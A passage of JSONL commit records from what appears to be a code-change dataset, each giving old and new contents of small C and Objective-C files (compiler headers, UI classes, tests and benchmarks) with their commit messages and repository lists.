<= circumference; start_point++) {\n        for (end_point = 1; end_point <= circumference; end_point++) {\n            arc = min_ring_distance(circumference,\n                    start_point, end_point);\n            printf(\"\\t|  %4i |%4i |     %4i | %s |\\n\",\n                    start_point, end_point,\n                    arc.lenght, arc.clockwise ? \"    Clockwise   \" : \"Counterclockwise\");\n        }\n        printf(\"%s\", hrule);\n    }\n}\n","subject":"Add ring oriented distance calculator","message":"Add ring oriented distance calculator\n","lang":"C","license":"unknown","repos":"MatjazDev\/Utilz,TheMatjaz\/Utilz,MatjazDev\/Utilz,TheMatjaz\/Utilz"}
{"commit":"3e34f2f419583aa78b515b3027fb204b89202c92","old_file":"include\/8cc.h","new_file":"include\/8cc.h","old_contents":"#define _LP64 1\n#define __8cc__ 1\n#define __ELF__ 1\n#define __LP64__ 1\n#define __SIZEOF_DOUBLE__ 8\n#define __SIZEOF_FLOAT__ 4\n#define __SIZEOF_INT__ 4\n#define __SIZEOF_LONG_DOUBLE__ 8\n#define __SIZEOF_LONG_LONG__ 8\n#define __SIZEOF_LONG__ 8\n#define __SIZEOF_POINTER__ 8\n#define __SIZEOF_PTRDIFF_T__ 8\n#define __SIZEOF_SHORT__ 2\n#define __SIZEOF_SIZE_T__ 8\n#define __STDC_HOSTED__ 1\n#define __STDC_NO_ATOMICS__ 1\n#define __STDC_NO_COMPLEX__ 1\n#define __STDC_NO_THREADS__ 1\n#define __STDC_NO_VLA__ 1\n#define __STDC_VERSION__ 201112L\n#define __STDC__ 1\n#define __amd64 1\n#define __amd64__ 1\n#define __gnu_linux__ 1\n#define __linux 1\n#define __linux__ 1\n#define __unix 1\n#define __unix__ 1\n#define __x86_64 1\n#define __x86_64__ 1\n#define linux 1\n","new_contents":"#define _LP64 1\n#define __8cc__ 1\n#define __ELF__ 1\n#define __LP64__ 1\n#define __SIZEOF_DOUBLE__ 8\n#define __SIZEOF_FLOAT__ 4\n#define __SIZEOF_INT__ 4\n#define __SIZEOF_LONG_DOUBLE__ 8\n#define __SIZEOF_LONG_LONG__ 8\n#define __SIZEOF_LONG__ 8\n#define __SIZEOF_POINTER__ 8\n#define __SIZEOF_PTRDIFF_T__ 8\n#define __SIZEOF_SHORT__ 2\n#define __SIZEOF_SIZE_T__ 8\n#define __STDC_HOSTED__ 1\n#define __STDC_NO_ATOMICS__ 1\n#define __STDC_NO_COMPLEX__ 1\n#define __STDC_NO_THREADS__ 1\n#define __STDC_NO_VLA__ 1\n#define __STDC_VERSION__ 201112L\n#define __STDC__ 1\n#define __amd64 1\n#define __amd64__ 1\n#define __gnu_linux__ 1\n#define __linux 1\n#define __linux__ 1\n#define __unix 1\n#define __unix__ 1\n#define __x86_64 1\n#define __x86_64__ 1\n#define linux 1\n\n#define __restrict restrict\n#define __restrict__ restrict\n","subject":"Define __restrict__ and __restrict as synonyms for restrict.","message":"Define __restrict__ and __restrict as synonyms for restrict.\n\nC99\/C11 defines only restrict, but popular compilers including GCC\ndefine these synonyms (so that you can use __restrict in C++, in\nwhich restrict keyword is not a part of the language standard).\n","lang":"C","license":"mit","repos":"andrewchambers\/8cc,andrewchambers\/8cc,vastin\/8cc,nobody1986\/8cc,jtramm\/8cc,8l\/8cc,cpjreynolds\/8cc,rui314\/8cc,vastin\/8cc,cpjreynolds\/8cc,rui314\/8cc,gergo-\/8cc,rui314\/8cc,rui314\/8cc,nobody1986\/8cc,jtramm\/8cc,8l\/8cc,andrewchambers\/8cc,vastin\/8cc,abc00\/8cc,8l\/8cc,gergo-\/8cc,gergo-\/8cc,jtramm\/8cc,abc00\/8cc,abc00\/8cc,jtramm\/8cc,andrewchambers\/8cc,8l\/8cc,abc00\/8cc,cpjreynolds\/8cc,vastin\/8cc,nobody1986\/8cc,nobody1986\/8cc,cpjreynolds\/8cc"}
{"commit":"0ed96ecba988c837a0e9d51085809ca6a9cf0a3b","old_file":"src\/lily_pkg_core.c","new_file":"src\/lily_pkg_core.c","old_contents":"","new_contents":"\/**\nlibrary core\n\nPsuedo root of all pre-registered modules.\n\nThis is a fake module created to link together all of the modules that are\nautomatically loaded in the interpreter.\n\nExcept for the `builtin` module, all modules listed here can be imported from\nany file inside of the interpreter. This is unlike other modules, which are\nloaded using relative paths. These modules can be imported like `import sys`,\nthen used like `print(sys.argv)`.\n\nThe `builtin` module is unique because the classes, enums, and functions are the\nfoundation of the interpreter. Instead of requiring it to be imported, the\ncontents of `builtin` are instead available without a namespace.\n*\/\n\n\/**\nPackageFiles\n    lily_pkg_builtin.c\n    lily_pkg_random.c\n    lily_pkg_sys.c\n    lily_pkg_time.c\n\n*\/\n","subject":"Add 'core' pseudo package for docgen to target.","message":"Add 'core' pseudo package for docgen to target.\n","lang":"C","license":"mit","repos":"jesserayadkins\/lily,jesserayadkins\/lily,jesserayadkins\/lily,FascinatedBox\/lily,FascinatedBox\/lily,FascinatedBox\/lily,FascinatedBox\/lily"}
{"commit":"bc62ff6ea6705bc68e2993fd2ee06c1f4ecf2c93","old_file":"Plugins\/Drift\/Source\/RapidJson\/Public\/JsonUtils.h","new_file":"Plugins\/Drift\/Source\/RapidJson\/Public\/JsonUtils.h","old_contents":"\/\/ Copyright 2015-2017 Directive Games Limited - All Rights Reserved\n\n#pragma once\n\n#include \"JsonArchive.h\"\n#include \"IHttpRequest.h\"\n\n#include \"Core.h\"\n#include \"Interfaces\/IHttpRequest.h\"\n\nRAPIDJSON_API DECLARE_LOG_CATEGORY_EXTERN(JsonUtilsLog, Log, All);\n\n\nclass RAPIDJSON_API JsonUtils\n{\npublic:\n    template<class T>\n    static bool ParseResponse(FHttpResponsePtr response, T& parsed)\n    {\n        const auto respStr = response->GetContentAsString();\n\n        bool success = JsonArchive::LoadObject(*respStr, parsed);\n\n        if (!success)\n        {\n            UE_LOG(JsonUtilsLog, Error, TEXT(\"Failed to parse json response '%s'\"), *respStr);\n        }\n\n        return success;\n    }\n};\n","new_contents":"\/\/ Copyright 2015-2017 Directive Games Limited - All Rights Reserved\n\n#pragma once\n\n#include \"JsonArchive.h\"\n#include \"IHttpRequest.h\"\n\n#include \"Core.h\"\n#include \"Interfaces\/IHttpRequest.h\"\n#include \"Interfaces\/IHttpResponse.h\"\n\n\nRAPIDJSON_API DECLARE_LOG_CATEGORY_EXTERN(JsonUtilsLog, Log, All);\n\n\nclass RAPIDJSON_API JsonUtils\n{\npublic:\n    template<class T>\n    static bool ParseResponse(FHttpResponsePtr response, T& parsed)\n    {\n        const auto respStr = response->GetContentAsString();\n\n        bool success = JsonArchive::LoadObject(*respStr, parsed);\n\n        if (!success)\n        {\n            UE_LOG(JsonUtilsLog, Error, TEXT(\"Failed to parse json response '%s'\"), *respStr);\n        }\n\n        return success;\n    }\n};\n","subject":"Fix another Linux build error","message":"Fix another Linux build error\n\n- Was missing #include statements\n","lang":"C","license":"mit","repos":"dgnorth\/DriftUe4Plugin,dgnorth\/DriftUe4Plugin,dgnorth\/DriftUe4Plugin,dgnorth\/DriftUe4Plugin"}
{"commit":"bcccfa6cd2b6e4335b479bdfc137567fd5585f37","old_file":"OctoKit\/OCTClient+Activity.h","new_file":"OctoKit\/OCTClient+Activity.h","old_contents":"\/\/\n\/\/  OCTClient+Activity.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Piet Brauer on 14.02.14.\n\/\/  Copyright (c) 2014 GitHub. All rights reserved.\n\/\/\n#import \"OCTClient.h\"\n\n@class RACSignal;\n@class OCTRepository;\n\n@interface OCTClient (Activity)\n\n\/\/ Check if the user starred the `repository`.\n\/\/\n\/\/ repository - The repository used to check the starred status. Cannot be nil.\n\/\/\n\/\/ Returns a signal, which will send completed on success. If the client\n\/\/ is not `authenticated`, the signal will error immediately.\n- (RACSignal *)hasUserStarredRepository:(OCTRepository *)repository;\n\n\/\/ Star the given `repository`\n\/\/\n\/\/ repository - The repository to star. Cannot be nil.\n\/\/\n\/\/ Returns a signal, which will send completed on success. If the client\n\/\/ is not `authenticated`, the signal will error immediately.\n- (RACSignal *)starRepository:(OCTRepository *)repository;\n\n\/\/ Unstar the given `repository`\n\/\/\n\/\/ repository - The repository to unstar. Cannot be nil.\n\/\/\n\/\/ Returns a signal, which will send completed on success. If the client\n\/\/ is not `authenticated`, the signal will error immediately.\n- (RACSignal *)unstarRepository:(OCTRepository *)repository;\n\n@end\n","new_contents":"\/\/\n\/\/  OCTClient+Activity.h\n\/\/  OctoKit\n\/\/\n\/\/  Created by Piet Brauer on 14.02.14.\n\/\/  Copyright (c) 2014 GitHub. All rights reserved.\n\/\/\n#import \"OCTClient.h\"\n\n@class RACSignal;\n@class OCTRepository;\n\n@interface OCTClient (Activity)\n\n\/\/ Check if the user starred the `repository`.\n\/\/\n\/\/ repository - The repository used to check the starred status. Cannot be nil.\n\/\/\n\/\/ Returns a signal, which will send a NSNumber valued @YES or @NO.\n\/\/ If the client is not `authenticated`, the signal will error immediately.\n- (RACSignal *)hasUserStarredRepository:(OCTRepository *)repository;\n\n\/\/ Star the given `repository`\n\/\/\n\/\/ repository - The repository to star. Cannot be nil.\n\/\/\n\/\/ Returns a signal, which will send completed on success. If the client\n\/\/ is not `authenticated`, the signal will error immediately.\n- (RACSignal *)starRepository:(OCTRepository *)repository;\n\n\/\/ Unstar the given `repository`\n\/\/\n\/\/ repository - The repository to unstar. Cannot be nil.\n\/\/\n\/\/ Returns a signal, which will send completed on success. If the client\n\/\/ is not `authenticated`, the signal will error immediately.\n- (RACSignal *)unstarRepository:(OCTRepository *)repository;\n\n@end\n","subject":"Change documentation to fit return of NSNumber","message":"Change documentation to fit return of NSNumber","lang":"C","license":"mit","repos":"CHNLiPeng\/octokit.objc,jonesgithub\/octokit.objc,cnbin\/octokit.objc,leichunfeng\/octokit.objc,jonesgithub\/octokit.objc,cnbin\/octokit.objc,CleanShavenApps\/octokit.objc,Acidburn0zzz\/octokit.objc,wrcj12138aaa\/octokit.objc,Palleas\/octokit.objc,daemonchen\/octokit.objc,CHNLiPeng\/octokit.objc,GroundControl-Solutions\/octokit.objc,phatblat\/octokit.objc,Palleas\/octokit.objc,daukantas\/octokit.objc,xantage\/octokit.objc,wrcj12138aaa\/octokit.objc,yeahdongcn\/octokit.objc,leichunfeng\/octokit.objc,daukantas\/octokit.objc,phatblat\/octokit.objc,daemonchen\/octokit.objc,xantage\/octokit.objc,GroundControl-Solutions\/octokit.objc,Acidburn0zzz\/octokit.objc"}
{"commit":"b43db0113a50f2999a6e93eaf8dbc1e6b89a60ff","old_file":"Pod\/Classes\/BCBalancedMultilineLabel.h","new_file":"Pod\/Classes\/BCBalancedMultilineLabel.h","old_contents":"#import <UIKit\/UIKit.h>\n\n@interface BCBalancedMultilineLabel : UILabel\n\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n\n\/**\n * A simple label subclass that draws itself such that each of its\n * lines have as close to the same length as possible. It can be\n * used anywhere that you could use an ordinary `UILabel` by simply\n * changing the instantiated class.\n *\/\n@interface BCBalancedMultilineLabel : UILabel\n\n@end\n","subject":"Add Appledoc to the header","message":"Add Appledoc to the header","lang":"C","license":"mit","repos":"briancroom\/BCBalancedMultilineLabel"}
{"commit":"4d4804f71ce6dbfe3ad2e9a5110d516732c0ba90","old_file":"src\/glcontext_nsgl.h","new_file":"src\/glcontext_nsgl.h","old_contents":"\/*\n * Copyright 2011-2016 Branimir Karadzic. All rights reserved.\n * License: https:\/\/github.com\/bkaradzic\/bgfx#license-bsd-2-clause\n *\/\n\n#ifndef BGFX_GLCONTEXT_NSGL_H_HEADER_GUARD\n#define BGFX_GLCONTEXT_NSGL_H_HEADER_GUARD\n\n#if BX_PLATFORM_OSX\n\nnamespace bgfx { namespace gl\n{\n\tstruct SwapChainGL;\n\n\tstruct GlContext\n\t{\n\t\tGlContext()\n\t\t\t: m_context(0)\n\t\t{\n\t\t}\n\n\t\tvoid create(uint32_t _width, uint32_t _height);\n\t\tvoid destroy();\n\t\tvoid resize(uint32_t _width, uint32_t _height, uint32_t _flags);\n\n\t\tuint64_t getCaps() const;\n\t\tSwapChainGL* createSwapChain(void* _nwh);\n\t\tvoid destroySwapChain(SwapChainGL*  _swapChain);\n\t\tvoid swap(SwapChainGL* _swapChain = NULL);\n\t\tvoid makeCurrent(SwapChainGL* _swapChain = NULL);\n\n\t\tvoid import();\n\n\t\tbool isValid() const\n\t\t{\n\t\t\treturn 0 != m_context;\n\t\t}\n\n\t\tvoid* m_view;\n\t\tvoid* m_context;\n\t};\n} \/* namespace gl *\/ } \/\/ namespace bgfx\n\n#endif \/\/ BX_PLATFORM_OSX\n\n#endif \/\/ BGFX_GLCONTEXT_NSGL_H_HEADER_GUARD\n","new_contents":"\/*\n * Copyright 2011-2016 Branimir Karadzic. All rights reserved.\n * License: https:\/\/github.com\/bkaradzic\/bgfx#license-bsd-2-clause\n *\/\n\n#ifndef BGFX_GLCONTEXT_NSGL_H_HEADER_GUARD\n#define BGFX_GLCONTEXT_NSGL_H_HEADER_GUARD\n\n#if BX_PLATFORM_OSX\n\nnamespace bgfx { namespace gl\n{\n\tstruct SwapChainGL;\n\n\tstruct GlContext\n\t{\n\t\tGlContext()\n\t\t\t: m_context(0)\n\t\t\t, m_view(0)\n\t\t{\n\t\t}\n\n\t\tvoid create(uint32_t _width, uint32_t _height);\n\t\tvoid destroy();\n\t\tvoid resize(uint32_t _width, uint32_t _height, uint32_t _flags);\n\n\t\tuint64_t getCaps() const;\n\t\tSwapChainGL* createSwapChain(void* _nwh);\n\t\tvoid destroySwapChain(SwapChainGL*  _swapChain);\n\t\tvoid swap(SwapChainGL* _swapChain = NULL);\n\t\tvoid makeCurrent(SwapChainGL* _swapChain = NULL);\n\n\t\tvoid import();\n\n\t\tbool isValid() const\n\t\t{\n\t\t\treturn 0 != m_context;\n\t\t}\n\n\t\tvoid* m_view;\n\t\tvoid* m_context;\n\t};\n} \/* namespace gl *\/ } \/\/ namespace bgfx\n\n#endif \/\/ BX_PLATFORM_OSX\n\n#endif \/\/ BGFX_GLCONTEXT_NSGL_H_HEADER_GUARD\n","subject":"Set m_view to 0 in GlContext ctor","message":"Set m_view to 0 in GlContext ctor\n","lang":"C","license":"bsd-2-clause","repos":"jpcy\/bgfx,andr3wmac\/bgfx,mendsley\/bgfx,mmicko\/bgfx,jdryg\/bgfx,LWJGL-CI\/bgfx,jdryg\/bgfx,attilaz\/bgfx,emoon\/bgfx,Synxis\/bgfx,elmindreda\/bgfx,LWJGL-CI\/bgfx,andr3wmac\/bgfx,Synxis\/bgfx,aonorin\/bgfx,kondrak\/bgfx,emoon\/bgfx,septag\/bgfx,bkaradzic\/bgfx,v3n\/bgfx,jpcy\/bgfx,fluffyfreak\/bgfx,andr3wmac\/bgfx,LWJGL-CI\/bgfx,MikePopoloski\/bgfx,mmicko\/bgfx,v3n\/bgfx,fluffyfreak\/bgfx,jdryg\/bgfx,jdryg\/bgfx,Synxis\/bgfx,kondrak\/bgfx,elmindreda\/bgfx,fluffyfreak\/bgfx,bkaradzic\/bgfx,attilaz\/bgfx,0-wiz-0\/bgfx,v3n\/bgfx,fluffyfreak\/bgfx,jpcy\/bgfx,LWJGL-CI\/bgfx,elmindreda\/bgfx,MikePopoloski\/bgfx,MikePopoloski\/bgfx,0-wiz-0\/bgfx,kondrak\/bgfx,attilaz\/bgfx,bkaradzic\/bgfx,mmicko\/bgfx,emoon\/bgfx,mendsley\/bgfx,septag\/bgfx,mendsley\/bgfx,aonorin\/bgfx,septag\/bgfx,bkaradzic\/bgfx,aonorin\/bgfx,jpcy\/bgfx,0-wiz-0\/bgfx"}
{"commit":"d85029a098a5ce56fd948e5f1811fe8f9ad8abcb","old_file":"test\/ut_logassert.c","new_file":"test\/ut_logassert.c","old_contents":"","new_contents":"#define UTL_MAIN\n#include \"utl.h\"\n\nint main(int argc, char *argv[])\n{\n  logopen(\"t_logassert.log\",\"w\");\n  \n  logassert(5>10);\n  logassert(utl_ret(0));\n  logcheck(3\/utl_ret(0) == 0);\n  logclose();\n}\n","subject":"Check that logassert() fails properly","message":"Check that logassert() fails properly\n","lang":"C","license":"mit","repos":"rdentato\/clibutl,rdentato\/clibutl,rdentato\/clibutl"}
{"commit":"b3ccbaf655e28b48384a8955398d248384558b45","old_file":"lottie-ios\/Classes\/PublicHeaders\/Lottie.h","new_file":"lottie-ios\/Classes\/PublicHeaders\/Lottie.h","old_contents":"\/\/\n\/\/  Lottie.h\n\/\/  Pods\n\/\/\n\/\/  Created by brandon_withrow on 1\/27\/17.\n\/\/\n\/\/\n@import Foundation;\n#ifndef Lottie_h\n#define Lottie_h\n\n\/\/! Project version number for Lottie.\nFOUNDATION_EXPORT double LottieVersionNumber;\n\n\/\/! Project version string for Lottie.\nFOUNDATION_EXPORT const unsigned char LottieVersionString[];\n\n#import \"LOTAnimationTransitionController.h\"\n#import \"LOTAnimationView.h\"\n\n#endif \/* Lottie_h *\/\n","new_contents":"\/\/\n\/\/  Lottie.h\n\/\/  Pods\n\/\/\n\/\/  Created by brandon_withrow on 1\/27\/17.\n\/\/\n\/\/\n\n#if __has_feature(modules)\n@import Foundation;\n#else\n#import <Foundation\/Foundation.h>\n#endif\n\n#ifndef Lottie_h\n#define Lottie_h\n\n\/\/! Project version number for Lottie.\nFOUNDATION_EXPORT double LottieVersionNumber;\n\n\/\/! Project version string for Lottie.\nFOUNDATION_EXPORT const unsigned char LottieVersionString[];\n\n#import \"LOTAnimationTransitionController.h\"\n#import \"LOTAnimationView.h\"\n\n#endif \/* Lottie_h *\/\n","subject":"Fix @import compatibility with .mm files","message":"Fix @import compatibility with .mm files\n","lang":"C","license":"apache-2.0","repos":"airbnb\/lottie-ios,airbnb\/lottie-ios,airbnb\/lottie-ios"}
{"commit":"e08359cf14f005a532f37470aed8be8aea03ac43","old_file":"tests\/test-progs\/test\/arm\/randmem1.c","new_file":"tests\/test-progs\/test\/arm\/randmem1.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <ctype.h>\n\nvoid nop( int delay ){\n    int tmp,i;\n    for( i=0; i<delay; i++ )\n        tmp = i + tmp;\n}\n\nint main(int argc, char **argv) {\n    int SEED = 2;\n    int MEM_SIZE = 1024 * 1024; \/\/ *32 bits (number of ints)\n    int DURATION = 6 * 1000 * 1000; \/\/us\n    int DELAY_OPS = 1000; \/\/us between mem requests\n    int count = 0;\n\n    int opt;\n    while( ( opt = getopt( argc, argv, \"s:d:p:\" ) ) != -1 ){\n        switch( opt ){\n            case 's':\n                MEM_SIZE = 1024 * 1024 * atoi(optarg); \/\/ *32 MB\n                break;\n            case 'd':\n                DURATION = atoi(optarg); \/\/ seconds\n                break;\n            case 'p':\n                DELAY_OPS = atoi(optarg); \/\/ us\n                break;\n            default:\n                break;\n        }\n    } \n\n    int * mem = ( int* ) malloc( sizeof( int ) * MEM_SIZE );\n    int elapsed = 0;\n    int tmp;\n    srand( SEED );\n\n    while( elapsed < DURATION ){\n        int read_addr  = count % MEM_SIZE;\n        tmp = mem[read_addr];\n        elapsed += DELAY_OPS;\n        count += 16;\n        \/\/nop(DELAY_OPS);\n    }\n\n}\n\n","subject":"Add a benchmark for higher memory intensity","message":"Add a benchmark for higher memory intensity\n","lang":"C","license":"bsd-3-clause","repos":"aferr\/TemporalPartitioningMemCtl,xiaoyaozi5566\/DynamicCache,aferr\/TemporalPartitioningMemCtl,xiaoyaozi5566\/GEM5_DRAMSim2,xiaoyaozi5566\/DynamicCache,xiaoyaozi5566\/DiamondCache,aferr\/TimingCompartments,xiaoyaozi5566\/DiamondCache,aferr\/LatticeMemCtl,aferr\/TemporalPartitioningMemCtl,aferr\/TemporalPartitioningMemCtl,xiaoyaozi5566\/DiamondCache,aferr\/LatticeMemCtl,xiaoyaozi5566\/GEM5_DRAMSim2,aferr\/LatticeMemCtl,aferr\/LatticeMemCtl,xiaoyaozi5566\/DynamicCache,aferr\/TimingCompartments,aferr\/TimingCompartments,aferr\/LatticeMemCtl,xiaoyaozi5566\/DiamondCache,xiaoyaozi5566\/DynamicCache,xiaoyaozi5566\/DiamondCache,aferr\/LatticeMemCtl,xiaoyaozi5566\/GEM5_DRAMSim2,aferr\/TimingCompartments,aferr\/TimingCompartments,xiaoyaozi5566\/GEM5_DRAMSim2,xiaoyaozi5566\/DynamicCache,xiaoyaozi5566\/DiamondCache,xiaoyaozi5566\/GEM5_DRAMSim2,aferr\/TemporalPartitioningMemCtl,xiaoyaozi5566\/GEM5_DRAMSim2,xiaoyaozi5566\/DiamondCache,aferr\/LatticeMemCtl,aferr\/LatticeMemCtl,aferr\/TimingCompartments,xiaoyaozi5566\/DynamicCache,xiaoyaozi5566\/GEM5_DRAMSim2,xiaoyaozi5566\/DiamondCache,aferr\/LatticeMemCtl,xiaoyaozi5566\/DiamondCache,xiaoyaozi5566\/DynamicCache,aferr\/TemporalPartitioningMemCtl,aferr\/TimingCompartments,aferr\/TimingCompartments,aferr\/TemporalPartitioningMemCtl,xiaoyaozi5566\/GEM5_DRAMSim2,aferr\/TemporalPartitioningMemCtl,aferr\/TemporalPartitioningMemCtl,xiaoyaozi5566\/DynamicCache,xiaoyaozi5566\/DynamicCache,xiaoyaozi5566\/GEM5_DRAMSim2,xiaoyaozi5566\/DynamicCache,aferr\/TimingCompartments"}
{"commit":"621ada7f40cd797549e88c474311ff9ebc288c5e","old_file":"examples\/example1.c","new_file":"examples\/example1.c","old_contents":"","new_contents":"#include \"..\/failing_allocs.h\"\n\n#include <assert.h>\n#include <stdlib.h>\n\nUSE_FAILING_ALLOCS\n\ntypedef struct{\n  int* some_ints;\n  size_t count;\n} Container;\n\nContainer* Container_create(size_t count)\n{\n  Container* new_container = calloc(1, sizeof(Container));\n  if(!new_container) goto error;\n\n  new_container->some_ints = malloc(5 * sizeof(int));\n  if(!new_container->some_ints) goto error;\n  \n  int* new_ints = realloc(new_container->some_ints,\n                          count * sizeof(int));\n  if(!new_ints) goto error;\n  new_container->some_ints = new_ints;\n\n  new_container->count = count;\n\n  return new_container;\n\nerror:\n  if(new_container) {\n    if(new_container->some_ints) free(new_container->some_ints);\n    free(new_container);\n  }\n  return NULL;\n}\n\nvoid Container_delete(Container* container)\n{\n  if(container) {\n    if(container->some_ints) free(container->some_ints);\n    free(container);\n  }\n}\n\nint main(void)\n{\n  int i = 0;\n  for(i = 0; i < 10; i++) {\n    Container* container = Container_create(100);  \n    if(!container) continue;\n    assert(container->count == 100);\n    Container_delete(container);\n  }\n\n  FREE_FAILING_ALLOCS\n\n  return 0;\n}\n","subject":"Add an example of code that uses failing_allocs.","message":"Add an example of code that uses failing_allocs.\n","lang":"C","license":"mit","repos":"mckinsel\/failing_allocs,mckinsel\/failing_allocs"}
{"commit":"9bfa112e81a0dc6dfec4697c3f5e4014a60073bf","old_file":"applications\/plugins\/SofaPython\/PythonCommon.h","new_file":"applications\/plugins\/SofaPython\/PythonCommon.h","old_contents":"#ifndef SOFAPYTHON_PYTHON_H\n#define SOFAPYTHON_PYTHON_H\n\n\n\/\/ This header simply includes Python.h, taking care of platform-specific stuff\n\n\/\/ It should be included before any standard headers:\n\/\/ \"Since Python may define some pre-processor definitions which affect the\n\/\/ standard headers on some systems, you must include Python.h before any\n\/\/ standard headers are included.\"\n\n\n#if defined(_MSC_VER) && defined(_DEBUG)\n\/\/ undefine _DEBUG since we want to always link agains the release version of\n\/\/ python and pyconfig.h automatically links debug version if _DEBUG is defined.\n\/\/ ocarre: no we don't, in debug on Windows we cannot link with python release, if we want to build SofaPython in debug we have to compile python in debug\n\/\/#    undef _DEBUG\n#    include <Python.h>\n\/\/#    define _DEBUG\n#elif defined(__APPLE__) && defined(__MACH__)\n#    include <Python\/Python.h>\n#else\n#    include <Python.h>\n#endif\n\n\n#endif\n","new_contents":"#ifndef SOFAPYTHON_PYTHON_H\n#define SOFAPYTHON_PYTHON_H\n\n\n\/\/ This header simply includes Python.h, taking care of platform-specific stuff\n\n\/\/ It should be included before any standard headers:\n\/\/ \"Since Python may define some pre-processor definitions which affect the\n\/\/ standard headers on some systems, you must include Python.h before any\n\/\/ standard headers are included.\"\n\n#if defined(_WIN32)\n#\tdefine MS_NO_COREDLL \/\/ deactivate pragma linking on Win32 done in Python.h\n#endif\n\n#if defined(_MSC_VER) && defined(_DEBUG)\n\/\/ undefine _DEBUG since we want to always link agains the release version of\n\/\/ python and pyconfig.h automatically links debug version if _DEBUG is defined.\n\/\/ ocarre: no we don't, in debug on Windows we cannot link with python release, if we want to build SofaPython in debug we have to compile python in debug\n\/\/#    undef _DEBUG\n#    include <Python.h>\n\/\/#    define _DEBUG\n#elif defined(__APPLE__) && defined(__MACH__)\n#    include <Python\/Python.h>\n#else\n#    include <Python.h>\n#endif\n\n\n#endif\n","subject":"Disable auto linking on windows so that CMake settings are not overriden.","message":"Disable auto linking on windows so that CMake settings are not overriden.\n\n\nFormer-commit-id: 3e43e87772ab712bab8778502c22411288f0eb31","lang":"C","license":"lgpl-2.1","repos":"hdeling\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,hdeling\/sofa,FabienPean\/sofa,hdeling\/sofa,hdeling\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa,Anatoscope\/sofa,hdeling\/sofa,hdeling\/sofa,hdeling\/sofa,Anatoscope\/sofa,hdeling\/sofa,Anatoscope\/sofa,hdeling\/sofa,hdeling\/sofa,FabienPean\/sofa,Anatoscope\/sofa,FabienPean\/sofa"}
{"commit":"4aaa5c8f5777910ace7d4c65908d42f16f446c30","old_file":"ProvisionQL\/Shared.h","new_file":"ProvisionQL\/Shared.h","old_contents":"#include <CoreFoundation\/CoreFoundation.h>\n#include <CoreServices\/CoreServices.h>\n#include <QuickLook\/QuickLook.h>\n\n#import <Foundation\/Foundation.h>\n#import <Cocoa\/Cocoa.h>\n#import <Security\/Security.h>\n\n#import <NSBezierPath+IOS7RoundedRect.h>\n\nstatic NSString * const kPluginBundleId = @\"com.FerretSyndicate.ProvisionQL\";\nstatic NSString * const kDataType_ipa               = @\"com.apple.itunes.ipa\";\nstatic NSString * const kDataType_app               = @\"com.apple.application-bundle\";\nstatic NSString * const kDataType_ios_provision     = @\"com.apple.mobileprovision\";\nstatic NSString * const kDataType_ios_provision_old = @\"com.apple.iphone.mobileprovision\";\nstatic NSString * const kDataType_osx_provision     = @\"com.apple.provisionprofile\";\n\n#define SIGNED_CODE 0\n\nNSImage *roundCorners(NSImage *image);\nNSImage *imageFromApp(NSURL *URL, NSString *dataType, NSString *fileName);\nNSString *mainIconNameForApp(NSDictionary *appPropertyList);\nint expirationStatus(NSDate *date, NSCalendar *calendar);\n","new_contents":"#include <CoreFoundation\/CoreFoundation.h>\n#include <CoreServices\/CoreServices.h>\n#include <QuickLook\/QuickLook.h>\n\n#import <Foundation\/Foundation.h>\n#import <Cocoa\/Cocoa.h>\n#import <Security\/Security.h>\n\n#import <NSBezierPath+IOS7RoundedRect.h>\n\nstatic NSString * const kPluginBundleId = @\"com.ealeksandrov.ProvisionQL\";\nstatic NSString * const kDataType_ipa               = @\"com.apple.itunes.ipa\";\nstatic NSString * const kDataType_app               = @\"com.apple.application-bundle\";\nstatic NSString * const kDataType_ios_provision     = @\"com.apple.mobileprovision\";\nstatic NSString * const kDataType_ios_provision_old = @\"com.apple.iphone.mobileprovision\";\nstatic NSString * const kDataType_osx_provision     = @\"com.apple.provisionprofile\";\n\n#define SIGNED_CODE 0\n\nNSImage *roundCorners(NSImage *image);\nNSImage *imageFromApp(NSURL *URL, NSString *dataType, NSString *fileName);\nNSString *mainIconNameForApp(NSDictionary *appPropertyList);\nint expirationStatus(NSDate *date, NSCalendar *calendar);\n","subject":"Set bundle identifier constant to be identical to Info.plist","message":"Set bundle identifier constant to be identical to Info.plist\n","lang":"C","license":"mit","repos":"ealeksandrov\/ProvisionQL,ealeksandrov\/ProvisionQL,ealeksandrov\/ProvisionQL"}
{"commit":"a5eb8bfdc1affa6d2330484800808c4d34f23103","old_file":"ui\/expandablegroup.h","new_file":"ui\/expandablegroup.h","old_contents":"#pragma once\n\n#include \"uitypes.h\"\n#include <QtWidgets\/QToolButton>\n#include <QtCore\/QParallelAnimationGroup>\n#include <QtWidgets\/QScrollArea>\n#include <QtCore\/QPropertyAnimation>\n\nclass BINARYNINJAUIAPI ExpandableGroup : public QWidget\n{\n\tQ_OBJECT\n\n  private:\n\tQToolButton* m_button;\n\tQParallelAnimationGroup* m_animation;\n\tQScrollArea* m_content;\n\tint m_duration = 100;\n\n  private Q_SLOTS:\n\tvoid toggled(bool expanded);\n\n  public:\n\texplicit ExpandableGroup(\n\t    QLayout* contentLayout, const QString& title = \"\", QWidget* parent = nullptr, bool expanded = false);\n\tvoid setupAnimation(QLayout* contentLayout);\n\tvoid setTitle(const QString& title) { m_button->setText(title); }\n\tvoid toggle(bool expanded);\n};\n","new_contents":"#pragma once\n\n#include \"uitypes.h\"\n#include <QtWidgets\/QLabel>\n#include <QtWidgets\/QToolButton>\n#include <QtCore\/QParallelAnimationGroup>\n#include <QtWidgets\/QScrollArea>\n#include <QtCore\/QPropertyAnimation>\n\nclass BINARYNINJAUIAPI ExpandableGroup : public QWidget\n{\n\tQ_OBJECT\n\n  private:\n\tQToolButton* m_button;\n\tQLabel* m_title;\n\tQParallelAnimationGroup* m_animation;\n\tQScrollArea* m_content;\n\tint m_duration = 100;\n\n  private Q_SLOTS:\n\tvoid toggled(bool expanded);\n\n  public:\n\texplicit ExpandableGroup(QLayout* contentLayout, const QString& title = \"\", QWidget* parent = nullptr, bool expanded = false);\n\tvoid setupAnimation(QLayout* contentLayout);\n\tvoid setTitle(const QString& title) { m_title->setText(title); 